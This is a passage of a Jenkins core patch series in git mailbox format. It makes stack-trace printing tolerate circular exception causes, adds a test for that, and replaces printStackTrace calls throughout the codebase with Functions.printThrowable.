exception\n"); } private static void assertPrintThrowable(Throwable t, String traditional, String custom) { StringWriter sw = new StringWriter(); -- GitLab From 7f4ce02e424663e9ff6da6075fefa368373a6bc6 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 12 Dec 2016 16:14:48 -0500 Subject: [PATCH 583/811] Handle circular references. --- core/src/main/java/hudson/Functions.java | 14 ++++++++++---- core/src/test/java/hudson/FunctionsTest.java | 16 ++++++++++++++++ 2 files changed, 26 insertions(+), 4 deletions(-) diff --git a/core/src/main/java/hudson/Functions.java b/core/src/main/java/hudson/Functions.java index 38f24332ad..f2863b5905 100644 --- a/core/src/main/java/hudson/Functions.java +++ b/core/src/main/java/hudson/Functions.java @@ -156,6 +156,8 @@ import com.google.common.base.Predicate; import com.google.common.base.Predicates; import hudson.model.PasswordParameterDefinition; import hudson.util.RunList; +import java.util.HashSet; +import java.util.Set; import java.util.concurrent.atomic.AtomicLong; import javax.annotation.CheckForNull; import javax.annotation.Nonnull; @@ -1453,10 +1455,14 @@ public class Functions { return Messages.Functions_NoExceptionDetails(); } StringBuilder s = new StringBuilder(); - doPrintStackTrace(s, t, null, ""); + doPrintStackTrace(s, t, null, "", new HashSet()); return s.toString(); } - private static void doPrintStackTrace(@Nonnull StringBuilder s, @Nonnull Throwable t, @CheckForNull Throwable higher, @Nonnull String prefix) { + private static void doPrintStackTrace(@Nonnull StringBuilder s, @Nonnull Throwable t, @CheckForNull Throwable higher, @Nonnull String prefix, @Nonnull Set encountered) { + if (!encountered.add(t)) { + s.append("\n"); + return; + } if (Util.isOverridden(Throwable.class, t.getClass(), "printStackTrace", PrintWriter.class)) { StringWriter sw = new StringWriter(); t.printStackTrace(new PrintWriter(sw)); @@ -1465,11 +1471,11 @@ public class Functions { } Throwable lower = t.getCause(); if (lower != null) { - doPrintStackTrace(s, lower, t, prefix); + doPrintStackTrace(s, lower, t, prefix, encountered); } for (Throwable suppressed : t.getSuppressed()) { s.append(prefix).append("Also: "); - doPrintStackTrace(s, suppressed, t, prefix + "\t"); + doPrintStackTrace(s, suppressed, t, prefix + "\t", encountered); } if (lower != null) { s.append(prefix).append("Caused: "); diff --git a/core/src/test/java/hudson/FunctionsTest.java b/core/src/test/java/hudson/FunctionsTest.java index a242e83e73..7a1b72293b 100644 --- a/core/src/test/java/hudson/FunctionsTest.java +++ b/core/src/test/java/hudson/FunctionsTest.java @@ -501,6 +501,22 @@ public class FunctionsTest { s.println("Some custom exception"); } }, "Some custom exception\n", "Some custom exception\n"); + // Circular references: + Stack stack1 = new Stack("p.Exc1", "p.C.method1:17"); + Stack stack2 = new Stack("p.Exc2", "p.C.method2:27"); + stack1.cause(stack2); + stack2.cause(stack1); + assertPrintThrowable(stack1, + "p.Exc1\n" + + "\tat p.C.method1(C.java:17)\n" + + "Caused by: p.Exc2\n" + + "\tat p.C.method2(C.java:27)\n" + + "\t[CIRCULAR REFERENCE:p.Exc1]\n", + "\n" + + "Caused: p.Exc2\n" + + "\tat p.C.method2(C.java:27)\n" + + "Caused: p.Exc1\n" + + "\tat p.C.method1(C.java:17)\n"); } private static void assertPrintThrowable(Throwable t, String traditional, String custom) { StringWriter sw = new StringWriter(); -- GitLab From 24aa20635d52a0269af373cd42c93c3d230c8b6b Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Mon, 12 Dec 2016 16:44:10 -0500 Subject: [PATCH 584/811] Replaced other usages of printStackTrace. --- core/src/main/java/hudson/FilePath.java | 2 +- core/src/main/java/hudson/Proc.java | 2 +- core/src/main/java/hudson/Util.java | 2 +- core/src/main/java/hudson/cli/CLICommand.java | 5 +++-- .../java/hudson/cli/declarative/CLIRegisterer.java | 3 ++- core/src/main/java/hudson/model/AbstractBuild.java | 7 +++---- core/src/main/java/hudson/model/AbstractProject.java | 4 ++-- .../main/java/hudson/model/AsyncAperiodicWork.java | 5 +++-- .../src/main/java/hudson/model/AsyncPeriodicWork.java | 5 +++-- core/src/main/java/hudson/model/Build.java | 3 ++- core/src/main/java/hudson/model/Executor.java | 3 ++- .../java/hudson/model/FingerprintCleanupThread.java | 3 ++- core/src/main/java/hudson/model/Run.java | 7 ++----- core/src/main/java/hudson/model/TaskThread.java | 3 ++- .../java/hudson/model/WorkspaceCleanupThread.java | 9 +++++---- .../src/main/java/hudson/os/solaris/ZFSInstaller.java | 5 +++-- core/src/main/java/hudson/scm/SCM.java | 3 ++- core/src/main/java/hudson/slaves/CommandLauncher.java | 11 ++++++----- core/src/main/java/hudson/slaves/SlaveComputer.java | 9 +++++---- core/src/main/java/hudson/tasks/ArtifactArchiver.java | 4 ++-- .../main/java/hudson/tasks/CommandInterpreter.java | 9 +++++---- core/src/main/java/hudson/tasks/Fingerprinter.java | 3 ++- core/src/main/java/hudson/tasks/Maven.java | 2 +- core/src/main/java/hudson/triggers/SCMTrigger.java | 3 ++- .../main/java/hudson/util/RemotingDiagnostics.java | 2 +- core/src/main/java/hudson/util/SecretRewriter.java | 3 ++- core/src/main/java/jenkins/PluginSubtypeMarker.java | 5 ++--- .../management/AsynchronousAdministrativeMonitor.java | 3 ++- core/src/main/java/jenkins/model/Jenkins.java | 5 +---- .../jenkins/security/RekeySecretAdminMonitor.java | 3 ++- .../java/jenkins/slaves/DefaultJnlpSlaveReceiver.java | 3 ++- .../slaves/restarter/JnlpSlaveRestarterInstaller.java | 3 ++- .../main/resources/META-INF/upgrade/Functions.hint | 2 ++ 33 files changed, 78 insertions(+), 63 deletions(-) create mode 100644 core/src/main/resources/META-INF/upgrade/Functions.hint diff --git a/core/src/main/java/hudson/FilePath.java b/core/src/main/java/hudson/FilePath.java index ece13ca344..b7506ecf39 100644 --- a/core/src/main/java/hudson/FilePath.java +++ b/core/src/main/java/hudson/FilePath.java @@ -831,7 +831,7 @@ public final class FilePath implements Serializable { return true; } catch (IOException x) { if (listener != null) { - x.printStackTrace(listener.error("Failed to download " + archive + " from agent; will retry from master")); + listener.error("Failed to download " + archive + " from agent; will retry from master").print(Functions.printThrowable(x)); } } } diff --git a/core/src/main/java/hudson/Proc.java b/core/src/main/java/hudson/Proc.java index abe104462a..48d5d2741d 100644 --- a/core/src/main/java/hudson/Proc.java +++ b/core/src/main/java/hudson/Proc.java @@ -159,7 +159,7 @@ public abstract class Proc { kill(); } } catch (InterruptedException | IOException | RuntimeException x) { - x.printStackTrace(listener.error("Failed to join a process")); + listener.error("Failed to join a process").print(Functions.printThrowable(x)); } } }); diff --git a/core/src/main/java/hudson/Util.java b/core/src/main/java/hudson/Util.java index 4b56102bd5..46c707da67 100644 --- a/core/src/main/java/hudson/Util.java +++ b/core/src/main/java/hudson/Util.java @@ -1367,7 +1367,7 @@ public class Util { PrintStream log = listener.getLogger(); log.printf("ln %s %s failed%n",targetPath, new File(baseDir, symlinkPath)); Util.displayIOException(e,listener); - e.printStackTrace( log ); + log.print(Functions.printThrowable(e)); } } diff --git a/core/src/main/java/hudson/cli/CLICommand.java b/core/src/main/java/hudson/cli/CLICommand.java index 2ebd3291de..6bc650a07c 100644 --- a/core/src/main/java/hudson/cli/CLICommand.java +++ b/core/src/main/java/hudson/cli/CLICommand.java @@ -29,6 +29,7 @@ import hudson.ExtensionList; import hudson.ExtensionPoint; import hudson.cli.declarative.CLIMethod; import hudson.ExtensionPoint.LegacyInstancesAreScopedToHudson; +import hudson.Functions; import jenkins.util.SystemProperties; import hudson.cli.declarative.OptionHandlerExtension; import jenkins.model.Jenkins; @@ -298,7 +299,7 @@ public abstract class CLICommand implements ExtensionPoint, Cloneable { stderr.println(""); stderr.println("ERROR: " + errorMsg); LOGGER.log(Level.WARNING, errorMsg, e); - e.printStackTrace(stderr); + stderr.print(Functions.printThrowable(e)); return 1; } finally { if(sc != null) @@ -332,7 +333,7 @@ public abstract class CLICommand implements ExtensionPoint, Cloneable { return new ClientAuthenticationCache(channel).get(); } catch (IOException e) { stderr.println("Failed to access the stored credential"); - e.printStackTrace(stderr); // recover + stderr.print(Functions.printThrowable(e)); // recover } return Jenkins.ANONYMOUS; } diff --git a/core/src/main/java/hudson/cli/declarative/CLIRegisterer.java b/core/src/main/java/hudson/cli/declarative/CLIRegisterer.java index e063bb08cd..d0f5244f2e 100644 --- a/core/src/main/java/hudson/cli/declarative/CLIRegisterer.java +++ b/core/src/main/java/hudson/cli/declarative/CLIRegisterer.java @@ -27,6 +27,7 @@ import hudson.AbortException; import hudson.Extension; import hudson.ExtensionComponent; import hudson.ExtensionFinder; +import hudson.Functions; import hudson.Util; import hudson.cli.CLICommand; import hudson.cli.CloneableCLICommand; @@ -269,7 +270,7 @@ public class CLIRegisterer extends ExtensionFinder { stderr.println(""); stderr.println("ERROR: " + errorMsg); LOGGER.log(Level.WARNING, errorMsg, e); - e.printStackTrace(stderr); + stderr.print(Functions.printThrowable(e)); return 1; } } diff --git a/core/src/main/java/hudson/model/AbstractBuild.java b/core/src/main/java/hudson/model/AbstractBuild.java index b723b9b519..2d22548c76 100644 --- a/core/src/main/java/hudson/model/AbstractBuild.java +++ b/core/src/main/java/hudson/model/AbstractBuild.java @@ -633,7 +633,7 @@ public abstract class AbstractBuild

                                        ,R extends Abs throw (InterruptedException)new InterruptedException().initCause(e); } catch (IOException e) { // checkout error not yet reported - e.printStackTrace(listener.getLogger()); + listener.getLogger().print(Functions.printThrowable(e)); } if (retryCount == 0) // all attempts failed @@ -749,7 +749,7 @@ public abstract class AbstractBuild

                                        ,R extends Abs listener.error("Step ‘" + buildStep + "’ failed: " + e.getMessage()); } else { String msg = "Step ‘" + buildStep + "’ aborted due to exception: "; - e.printStackTrace(listener.error(msg)); + listener.error(msg).print(Functions.printThrowable(e)); LOGGER.log(WARNING, msg, e); } @@ -784,8 +784,7 @@ public abstract class AbstractBuild

                                        ,R extends Abs // Channel is closed, do not continue reportBrokenChannel(listener); } catch (RuntimeException ex) { - - ex.printStackTrace(listener.error("Build step failed with exception")); + listener.error("Build step failed with exception").print(Functions.printThrowable(ex)); } for (BuildStepListener bsl : BuildStepListener.all()) { diff --git a/core/src/main/java/hudson/model/AbstractProject.java b/core/src/main/java/hudson/model/AbstractProject.java index 2c2fe31c76..f00668a173 100644 --- a/core/src/main/java/hudson/model/AbstractProject.java +++ b/core/src/main/java/hudson/model/AbstractProject.java @@ -1370,11 +1370,11 @@ public abstract class AbstractProject

                                        ,R extends A SCMPollListener.firePollingFailed(this, listener,e); return NO_CHANGES; } catch (IOException e) { - e.printStackTrace(listener.fatalError(e.getMessage())); + listener.fatalError(e.getMessage()).print(Functions.printThrowable(e)); SCMPollListener.firePollingFailed(this, listener,e); return NO_CHANGES; } catch (InterruptedException e) { - e.printStackTrace(listener.fatalError(Messages.AbstractProject_PollingABorted())); + listener.fatalError(Messages.AbstractProject_PollingABorted()).print(Functions.printThrowable(e)); SCMPollListener.firePollingFailed(this, listener,e); return NO_CHANGES; } catch (RuntimeException e) { diff --git a/core/src/main/java/hudson/model/AsyncAperiodicWork.java b/core/src/main/java/hudson/model/AsyncAperiodicWork.java index 069a4bb05f..02c108bb65 100644 --- a/core/src/main/java/hudson/model/AsyncAperiodicWork.java +++ b/core/src/main/java/hudson/model/AsyncAperiodicWork.java @@ -23,6 +23,7 @@ */ package hudson.model; +import hudson.Functions; import hudson.security.ACL; import hudson.util.StreamTaskListener; import java.io.File; @@ -119,9 +120,9 @@ public abstract class AsyncAperiodicWork extends AperiodicWork { execute(l); } catch (IOException e) { - e.printStackTrace(l.fatalError(e.getMessage())); + l.fatalError(e.getMessage()).print(Functions.printThrowable(e)); } catch (InterruptedException e) { - e.printStackTrace(l.fatalError("aborted")); + l.fatalError("aborted").print(Functions.printThrowable(e)); } finally { stopTime = System.currentTimeMillis(); try { diff --git a/core/src/main/java/hudson/model/AsyncPeriodicWork.java b/core/src/main/java/hudson/model/AsyncPeriodicWork.java index d88413f412..383786c8cb 100644 --- a/core/src/main/java/hudson/model/AsyncPeriodicWork.java +++ b/core/src/main/java/hudson/model/AsyncPeriodicWork.java @@ -1,5 +1,6 @@ package hudson.model; +import hudson.Functions; import hudson.security.ACL; import hudson.util.StreamTaskListener; import java.io.File; @@ -99,9 +100,9 @@ public abstract class AsyncPeriodicWork extends PeriodicWork { execute(l); } catch (IOException e) { - e.printStackTrace(l.fatalError(e.getMessage())); + l.fatalError(e.getMessage()).print(Functions.printThrowable(e)); } catch (InterruptedException e) { - e.printStackTrace(l.fatalError("aborted")); + l.fatalError("aborted").print(Functions.printThrowable(e)); } finally { stopTime = System.currentTimeMillis(); try { diff --git a/core/src/main/java/hudson/model/Build.java b/core/src/main/java/hudson/model/Build.java index a5dbcfcf1f..3a8fd35e73 100644 --- a/core/src/main/java/hudson/model/Build.java +++ b/core/src/main/java/hudson/model/Build.java @@ -23,6 +23,7 @@ */ package hudson.model; +import hudson.Functions; import hudson.Launcher; import hudson.tasks.BuildStep; import hudson.tasks.BuildWrapper; @@ -195,7 +196,7 @@ public abstract class Build

                                        ,B extends Build> performAllBuildSteps(listener, project.getPublishersList(), false); performAllBuildSteps(listener, project.getProperties(), false); } catch (Exception x) { - x.printStackTrace(listener.error(Messages.Build_post_build_steps_failed())); + listener.error(Messages.Build_post_build_steps_failed()).print(Functions.printThrowable(x)); } super.cleanUp(listener); } diff --git a/core/src/main/java/hudson/model/Executor.java b/core/src/main/java/hudson/model/Executor.java index d30ecf5da8..a42b723dba 100644 --- a/core/src/main/java/hudson/model/Executor.java +++ b/core/src/main/java/hudson/model/Executor.java @@ -24,6 +24,7 @@ package hudson.model; import hudson.FilePath; +import hudson.Functions; import hudson.Util; import hudson.model.Queue.Executable; import hudson.model.queue.Executables; @@ -289,7 +290,7 @@ public class Executor extends Thread implements ModelObject { } else { pw.println("Termination trace follows:"); for (Computer.TerminationRequest request : owner.getTerminatedBy()) { - request.printStackTrace(pw); + pw.print(Functions.printThrowable(request)); } } } diff --git a/core/src/main/java/hudson/model/FingerprintCleanupThread.java b/core/src/main/java/hudson/model/FingerprintCleanupThread.java index 10716d073f..fffd8db483 100644 --- a/core/src/main/java/hudson/model/FingerprintCleanupThread.java +++ b/core/src/main/java/hudson/model/FingerprintCleanupThread.java @@ -25,6 +25,7 @@ package hudson.model; import hudson.Extension; import hudson.ExtensionList; +import hudson.Functions; import jenkins.model.Jenkins; import org.jenkinsci.Symbol; @@ -113,7 +114,7 @@ public final class FingerprintCleanupThread extends AsyncPeriodicWork { return fp.trim(); } } catch (IOException e) { - e.printStackTrace(listener.error("Failed to process " + fingerprintFile)); + listener.error("Failed to process " + fingerprintFile).print(Functions.printThrowable(e)); return false; } } diff --git a/core/src/main/java/hudson/model/Run.java b/core/src/main/java/hudson/model/Run.java index 338475983c..81fb8a07fa 100644 --- a/core/src/main/java/hudson/model/Run.java +++ b/core/src/main/java/hudson/model/Run.java @@ -73,7 +73,6 @@ import java.io.OutputStream; import java.io.PrintWriter; import java.io.RandomAccessFile; import java.io.Reader; -import java.io.StringWriter; import java.nio.charset.Charset; import java.text.DateFormat; import java.text.SimpleDateFormat; @@ -1865,7 +1864,7 @@ public abstract class Run ,RunT extends Run,RunT extends Run, ExtensionPoint { createEmptyChangeLog(changelogFile, (TaskListener) listener, rootTag); return true; } catch (IOException e) { - e.printStackTrace(listener.error(e.getMessage())); + listener.error(e.getMessage()).print(Functions.printThrowable(e)); return false; } } diff --git a/core/src/main/java/hudson/slaves/CommandLauncher.java b/core/src/main/java/hudson/slaves/CommandLauncher.java index 832e392ea3..1a152e55a9 100644 --- a/core/src/main/java/hudson/slaves/CommandLauncher.java +++ b/core/src/main/java/hudson/slaves/CommandLauncher.java @@ -27,6 +27,7 @@ import hudson.AbortException; import hudson.EnvVars; import hudson.Util; import hudson.Extension; +import hudson.Functions; import hudson.model.Descriptor; import hudson.model.Slave; import jenkins.model.Jenkins; @@ -143,11 +144,11 @@ public class CommandLauncher extends ComputerLauncher { LOGGER.info("agent launched for " + computer.getDisplayName()); } catch (InterruptedException e) { - e.printStackTrace(listener.error(Messages.ComputerLauncher_abortedLaunch())); + listener.error(Messages.ComputerLauncher_abortedLaunch()).print(Functions.printThrowable(e)); } catch (RuntimeException e) { - e.printStackTrace(listener.error(Messages.ComputerLauncher_unexpectedError())); + listener.error(Messages.ComputerLauncher_unexpectedError()).print(Functions.printThrowable(e)); } catch (Error e) { - e.printStackTrace(listener.error(Messages.ComputerLauncher_unexpectedError())); + listener.error(Messages.ComputerLauncher_unexpectedError()).print(Functions.printThrowable(e)); } catch (IOException e) { Util.displayIOException(e, listener); @@ -159,14 +160,14 @@ public class CommandLauncher extends ComputerLauncher { } msg = hudson.model.Messages.Slave_UnableToLaunch(computer.getDisplayName(), msg); LOGGER.log(Level.SEVERE, msg, e); - e.printStackTrace(listener.error(msg)); + listener.error(msg).print(Functions.printThrowable(e)); if(_proc!=null) { reportProcessTerminated(_proc, listener); try { ProcessTree.get().killAll(_proc, _cookie); } catch (InterruptedException x) { - x.printStackTrace(listener.error(Messages.ComputerLauncher_abortedLaunch())); + listener.error(Messages.ComputerLauncher_abortedLaunch()).print(Functions.printThrowable(x)); } } } diff --git a/core/src/main/java/hudson/slaves/SlaveComputer.java b/core/src/main/java/hudson/slaves/SlaveComputer.java index 080af48bd0..57662bc18b 100644 --- a/core/src/main/java/hudson/slaves/SlaveComputer.java +++ b/core/src/main/java/hudson/slaves/SlaveComputer.java @@ -25,6 +25,7 @@ package hudson.slaves; import hudson.AbortException; import hudson.FilePath; +import hudson.Functions; import hudson.Util; import hudson.console.ConsoleLogFilter; import hudson.model.Computer; @@ -264,13 +265,13 @@ public class SlaveComputer extends Computer { throw e; } catch (IOException e) { Util.displayIOException(e,taskListener); - e.printStackTrace(taskListener.error(Messages.ComputerLauncher_unexpectedError())); + taskListener.error(Messages.ComputerLauncher_unexpectedError()).print(Functions.printThrowable(e)); throw e; } catch (InterruptedException e) { - e.printStackTrace(taskListener.error(Messages.ComputerLauncher_abortedLaunch())); + taskListener.error(Messages.ComputerLauncher_abortedLaunch()).print(Functions.printThrowable(e)); throw e; } catch (Exception e) { - e.printStackTrace(taskListener.error(Messages.ComputerLauncher_unexpectedError())); + taskListener.error(Messages.ComputerLauncher_unexpectedError()).print(Functions.printThrowable(e)); throw e; } } finally { @@ -494,7 +495,7 @@ public class SlaveComputer extends Computer { // Orderly shutdown will have null exception if (cause!=null) { offlineCause = new ChannelTermination(cause); - cause.printStackTrace(taskListener.error("Connection terminated")); + taskListener.error("Connection terminated").print(Functions.printThrowable(cause)); } else { taskListener.getLogger().println("Connection terminated"); } diff --git a/core/src/main/java/hudson/tasks/ArtifactArchiver.java b/core/src/main/java/hudson/tasks/ArtifactArchiver.java index ca1f154f15..2b8f3d4865 100644 --- a/core/src/main/java/hudson/tasks/ArtifactArchiver.java +++ b/core/src/main/java/hudson/tasks/ArtifactArchiver.java @@ -28,6 +28,7 @@ import jenkins.MasterToSlaveFileCallable; import hudson.Launcher; import hudson.Util; import hudson.Extension; +import hudson.Functions; import jenkins.util.SystemProperties; import hudson.model.AbstractProject; import hudson.model.Result; @@ -262,8 +263,7 @@ public class ArtifactArchiver extends Recorder implements SimpleBuildStep { } } catch (IOException e) { Util.displayIOException(e,listener); - e.printStackTrace(listener.error( - Messages.ArtifactArchiver_FailedToArchive(artifacts))); + listener.error(Messages.ArtifactArchiver_FailedToArchive(artifacts)).print(Functions.printThrowable(e)); build.setResult(Result.FAILURE); return; } diff --git a/core/src/main/java/hudson/tasks/CommandInterpreter.java b/core/src/main/java/hudson/tasks/CommandInterpreter.java index fc45e20f0d..5170aff8e8 100644 --- a/core/src/main/java/hudson/tasks/CommandInterpreter.java +++ b/core/src/main/java/hudson/tasks/CommandInterpreter.java @@ -28,6 +28,7 @@ import hudson.Launcher; import hudson.Proc; import hudson.Util; import hudson.EnvVars; +import hudson.Functions; import hudson.model.AbstractBuild; import hudson.model.BuildListener; import hudson.model.Node; @@ -93,7 +94,7 @@ public abstract class CommandInterpreter extends Builder { script = createScriptFile(ws); } catch (IOException e) { Util.displayIOException(e,listener); - e.printStackTrace(listener.fatalError(Messages.CommandInterpreter_UnableToProduceScript())); + listener.fatalError(Messages.CommandInterpreter_UnableToProduceScript()).print(Functions.printThrowable(e)); return false; } @@ -113,7 +114,7 @@ public abstract class CommandInterpreter extends Builder { } } catch (IOException e) { Util.displayIOException(e, listener); - e.printStackTrace(listener.fatalError(Messages.CommandInterpreter_CommandFailed())); + listener.fatalError(Messages.CommandInterpreter_CommandFailed()).print(Functions.printThrowable(e)); } return r==0; } finally { @@ -132,10 +133,10 @@ public abstract class CommandInterpreter extends Builder { LOGGER.log(Level.FINE, "Script deletion failed", e); } else { Util.displayIOException(e,listener); - e.printStackTrace( listener.fatalError(Messages.CommandInterpreter_UnableToDelete(script)) ); + listener.fatalError(Messages.CommandInterpreter_UnableToDelete(script)).print(Functions.printThrowable(e)); } } catch (Exception e) { - e.printStackTrace( listener.fatalError(Messages.CommandInterpreter_UnableToDelete(script)) ); + listener.fatalError(Messages.CommandInterpreter_UnableToDelete(script)).print(Functions.printThrowable(e)); } } } diff --git a/core/src/main/java/hudson/tasks/Fingerprinter.java b/core/src/main/java/hudson/tasks/Fingerprinter.java index 1385e645b4..beda443bf3 100644 --- a/core/src/main/java/hudson/tasks/Fingerprinter.java +++ b/core/src/main/java/hudson/tasks/Fingerprinter.java @@ -27,6 +27,7 @@ import com.google.common.collect.ImmutableMap; import hudson.EnvVars; import hudson.Extension; import hudson.FilePath; +import hudson.Functions; import jenkins.MasterToSlaveFileCallable; import hudson.Launcher; import jenkins.util.SystemProperties; @@ -137,7 +138,7 @@ public class Fingerprinter extends Recorder implements Serializable, DependencyD Jenkins.getInstance().rebuildDependencyGraphAsync(); } } catch (IOException e) { - e.printStackTrace(listener.error(Messages.Fingerprinter_Failed())); + listener.error(Messages.Fingerprinter_Failed()).print(Functions.printThrowable(e)); build.setResult(Result.FAILURE); } diff --git a/core/src/main/java/hudson/tasks/Maven.java b/core/src/main/java/hudson/tasks/Maven.java index a8d78ed344..4939ea7044 100644 --- a/core/src/main/java/hudson/tasks/Maven.java +++ b/core/src/main/java/hudson/tasks/Maven.java @@ -366,7 +366,7 @@ public class Maven extends Builder { } } catch (IOException e) { Util.displayIOException(e,listener); - e.printStackTrace( listener.fatalError(Messages.Maven_ExecFailed()) ); + listener.fatalError(Messages.Maven_ExecFailed()).print(Functions.printThrowable(e)); return false; } startIndex = endIndex + 1; diff --git a/core/src/main/java/hudson/triggers/SCMTrigger.java b/core/src/main/java/hudson/triggers/SCMTrigger.java index 577df2acf5..d3c7074eb6 100644 --- a/core/src/main/java/hudson/triggers/SCMTrigger.java +++ b/core/src/main/java/hudson/triggers/SCMTrigger.java @@ -27,6 +27,7 @@ package hudson.triggers; import antlr.ANTLRException; import com.google.common.base.Preconditions; import hudson.Extension; +import hudson.Functions; import hudson.Util; import hudson.console.AnnotatedLargeText; import hudson.model.AbstractBuild; @@ -568,7 +569,7 @@ public class SCMTrigger extends Trigger { logger.println("No changes"); return result; } catch (Error | RuntimeException e) { - e.printStackTrace(listener.error("Failed to record SCM polling for "+job)); + listener.error("Failed to record SCM polling for " + job).print(Functions.printThrowable(e)); LOGGER.log(Level.SEVERE,"Failed to record SCM polling for "+job,e); throw e; } finally { diff --git a/core/src/main/java/hudson/util/RemotingDiagnostics.java b/core/src/main/java/hudson/util/RemotingDiagnostics.java index ed3a4c814b..02184c3397 100644 --- a/core/src/main/java/hudson/util/RemotingDiagnostics.java +++ b/core/src/main/java/hudson/util/RemotingDiagnostics.java @@ -143,7 +143,7 @@ public final class RemotingDiagnostics { if(output!=null) pw.println("Result: "+output); } catch (Throwable t) { - t.printStackTrace(pw); + pw.print(Functions.printThrowable(t)); } return out.toString(); } diff --git a/core/src/main/java/hudson/util/SecretRewriter.java b/core/src/main/java/hudson/util/SecretRewriter.java index 45e5b6ae27..08bf646c67 100644 --- a/core/src/main/java/hudson/util/SecretRewriter.java +++ b/core/src/main/java/hudson/util/SecretRewriter.java @@ -1,6 +1,7 @@ package hudson.util; import com.trilead.ssh2.crypto.Base64; +import hudson.Functions; import hudson.model.TaskListener; import org.apache.commons.io.FileUtils; @@ -169,7 +170,7 @@ public class SecretRewriter { rewritten++; } } catch (IOException e) { - e.printStackTrace(listener.error("Failed to rewrite "+child)); + listener.error("Failed to rewrite " + child).print(Functions.printThrowable(e)); } } if (child.isDirectory()) { diff --git a/core/src/main/java/jenkins/PluginSubtypeMarker.java b/core/src/main/java/jenkins/PluginSubtypeMarker.java index d10427a33d..a161595120 100644 --- a/core/src/main/java/jenkins/PluginSubtypeMarker.java +++ b/core/src/main/java/jenkins/PluginSubtypeMarker.java @@ -23,6 +23,7 @@ */ package jenkins; +import hudson.Functions; import hudson.Plugin; import org.kohsuke.MetaInfServices; @@ -69,9 +70,7 @@ public class PluginSubtypeMarker extends AbstractProcessor { try { write(e); } catch (IOException x) { - StringWriter sw = new StringWriter(); - x.printStackTrace(new PrintWriter(sw)); - processingEnv.getMessager().printMessage(Kind.ERROR,sw.toString(),e); + processingEnv.getMessager().printMessage(Kind.ERROR, Functions.printThrowable(x), e); } } } diff --git a/core/src/main/java/jenkins/management/AsynchronousAdministrativeMonitor.java b/core/src/main/java/jenkins/management/AsynchronousAdministrativeMonitor.java index 50d4e6cbeb..47a682cd98 100644 --- a/core/src/main/java/jenkins/management/AsynchronousAdministrativeMonitor.java +++ b/core/src/main/java/jenkins/management/AsynchronousAdministrativeMonitor.java @@ -1,6 +1,7 @@ package jenkins.management; import hudson.AbortException; +import hudson.Functions; import hudson.console.AnnotatedLargeText; import hudson.model.AdministrativeMonitor; import hudson.model.TaskListener; @@ -125,7 +126,7 @@ public abstract class AsynchronousAdministrativeMonitor extends AdministrativeMo } catch (AbortException e) { listener.error(e.getMessage()); } catch (Throwable e) { - e.printStackTrace(listener.error(getName() + " failed")); + listener.error(getName() + " failed").print(Functions.printThrowable(e)); LOGGER.log(Level.WARNING, getName() + " failed", e); } } diff --git a/core/src/main/java/jenkins/model/Jenkins.java b/core/src/main/java/jenkins/model/Jenkins.java index 7c61deebdd..a6a77c4074 100644 --- a/core/src/main/java/jenkins/model/Jenkins.java +++ b/core/src/main/java/jenkins/model/Jenkins.java @@ -272,7 +272,6 @@ import java.io.File; import java.io.IOException; import java.io.InputStream; import java.io.PrintWriter; -import java.io.StringWriter; import java.net.BindException; import java.net.HttpURLConnection; import java.net.URL; @@ -3768,9 +3767,7 @@ public class Jenkins extends AbstractCIBase implements DirectlyModifiableTopLeve try { r.put(e.getKey(), e.getValue().get(endTime-System.currentTimeMillis(), TimeUnit.MILLISECONDS)); } catch (Exception x) { - StringWriter sw = new StringWriter(); - x.printStackTrace(new PrintWriter(sw,true)); - r.put(e.getKey(), Collections.singletonMap("Failed to retrieve thread dump",sw.toString())); + r.put(e.getKey(), Collections.singletonMap("Failed to retrieve thread dump", Functions.printThrowable(x))); } } return Collections.unmodifiableSortedMap(new TreeMap>(r)); diff --git a/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java b/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java index 7b48e94a0c..c486193c9c 100644 --- a/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java +++ b/core/src/main/java/jenkins/security/RekeySecretAdminMonitor.java @@ -1,6 +1,7 @@ package jenkins.security; import hudson.Extension; +import hudson.Functions; import hudson.init.InitMilestone; import hudson.init.Initializer; import hudson.model.TaskListener; @@ -152,7 +153,7 @@ public class RekeySecretAdminMonitor extends AsynchronousAdministrativeMonitor i LOGGER.info("Secret re-keying completed"); } catch (Exception e) { LOGGER.log(Level.SEVERE, "Fatal failure in re-keying secrets",e); - e.printStackTrace(listener.error("Fatal failure in rewriting secrets")); + listener.error("Fatal failure in rewriting secrets").print(Functions.printThrowable(e)); } } diff --git a/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java b/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java index 4daf509cfb..3b7cdd2ba0 100644 --- a/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java +++ b/core/src/main/java/jenkins/slaves/DefaultJnlpSlaveReceiver.java @@ -3,6 +3,7 @@ package jenkins.slaves; import edu.umd.cs.findbugs.annotations.NonNull; import hudson.ClassicPluginStrategy; import hudson.Extension; +import hudson.Functions; import hudson.TcpSlaveAgentListener.ConnectionFromCurrentPeer; import hudson.Util; import hudson.model.Computer; @@ -171,7 +172,7 @@ public class DefaultJnlpSlaveReceiver extends JnlpAgentReceiver { computer.setChannel(event.getChannel(), state.getLog(), null); } catch (IOException | InterruptedException e) { PrintWriter logw = new PrintWriter(state.getLog(), true); - e.printStackTrace(logw); + logw.print(Functions.printThrowable(e)); IOUtils.closeQuietly(event.getChannel()); } } diff --git a/core/src/main/java/jenkins/slaves/restarter/JnlpSlaveRestarterInstaller.java b/core/src/main/java/jenkins/slaves/restarter/JnlpSlaveRestarterInstaller.java index d30d6d2281..d271a37913 100644 --- a/core/src/main/java/jenkins/slaves/restarter/JnlpSlaveRestarterInstaller.java +++ b/core/src/main/java/jenkins/slaves/restarter/JnlpSlaveRestarterInstaller.java @@ -1,6 +1,7 @@ package jenkins.slaves.restarter; import hudson.Extension; +import hudson.Functions; import hudson.model.Computer; import hudson.model.TaskListener; import hudson.remoting.Engine; @@ -93,7 +94,7 @@ public class JnlpSlaveRestarterInstaller extends ComputerListener implements Ser LOGGER.log(FINE, "Effective SlaveRestarter on {0}: {1}", new Object[] {c.getName(), effective}); } catch (Throwable e) { - e.printStackTrace(listener.error("Failed to install restarter")); + listener.error("Failed to install restarter").print(Functions.printThrowable(e)); } } diff --git a/core/src/main/resources/META-INF/upgrade/Functions.hint b/core/src/main/resources/META-INF/upgrade/Functions.hint new file mode 